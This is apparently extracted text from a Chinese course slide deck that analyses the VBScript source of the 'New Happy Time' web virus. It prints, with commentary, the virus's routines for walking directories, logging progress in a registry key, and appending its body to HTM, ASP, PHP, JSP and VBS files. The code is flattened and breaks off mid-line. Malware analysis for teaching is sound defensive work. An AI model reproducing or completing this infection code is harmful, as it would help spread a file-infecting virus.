典型网页病毒剖析.pptVIP

新欢乐时光代码分析计算机病毒与防治课程小组如果没有子目录了，就调用KJChangeSub返回上一级目录或者更换盘符，并将SubE置1IfDicSub.Count=0ThenLastIndexChar=InstrRev(CurrentString,\,Len(CurrentString)-1)SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)CurrentString=KJChangeSub(CurrentString,LastIndexChar)SubE=1Else如果存在子目录如果SubE为0，则将CurrentString变为它的第1个子目录IfSubE=0ThenCurrentString=CurrentStringDicSub.Item(1)\ExitDoElse如果SubE为1，继续遍历子目录，并将下一个子目录返回j=0新欢乐时光代码分析计算机病毒与防治课程小组Forj=1ToFolderCountIfLCase(SubString)=LCase(DicSub.Item(j))ThenIfjFolderCountThenCurrentString=CurrentStringDicSub.Item(j+1)\ExitDoEndIfEndIfNextLastIndexChar=InstrRev(CurrentString,\,Len(CurrentString)-1)SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)CurrentString=KJChangeSub(CurrentString,LastIndexChar)EndIfEndIfLoopKJOboSub=CurrentStringEndFunction新欢乐时光代码分析计算机病毒与防治课程小组功能：病毒传播FunctionKJPropagate()OnErrorResumeNextRegPathvalue=HKEY_LOCAL_MACHINE\Software\Microsoft\OutlookExpress\DegreeDiskDegree=WsShell.RegRead(RegPathvalue)如果不存在Degree这个键值，DiskDegree则为FinalyDisk盘IfDiskDegree=ThenDiskDegree=FinalyDisk:\EndIf继DiskDegree置后感染5个目录Fori=1to5DiskDegree=KJOboSub(DiskDegree)KJummageFolder(DiskDegree)Next将感染记录保存在HKEY_LOCAL_MACHINE\Software\Microsoft\OutlookExpress\Degree键值中WsShell.RegWriteRegPathvalue,DiskDegreeEndFunction新欢乐时光代码分析计算机病毒与防治课程小组功能：感染指定目录FunctionKJummageFolder(PathName)OnErrorResumeNext取得目录中的所有文件集SetFolderName=FSO.GetFolder(PathName)SetThisFiles=FolderName.FilesHttExists=0ForEachThisFileInThisFilesFileExt=UCase(FSO.GetExtensionName(ThisFile.Path))‘判断扩展名若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体‘若是VBS则向文件中追加VBS版的病毒体若是HTT,则标志为已经存在HTT了IfFileExt=HTMOrFileExt=HTMLOrFileExt=ASPOrFileExt=PHPOrFileExt=JSPThenCallKJAppendTo(ThisFile.Path,html)ElseIfFileEx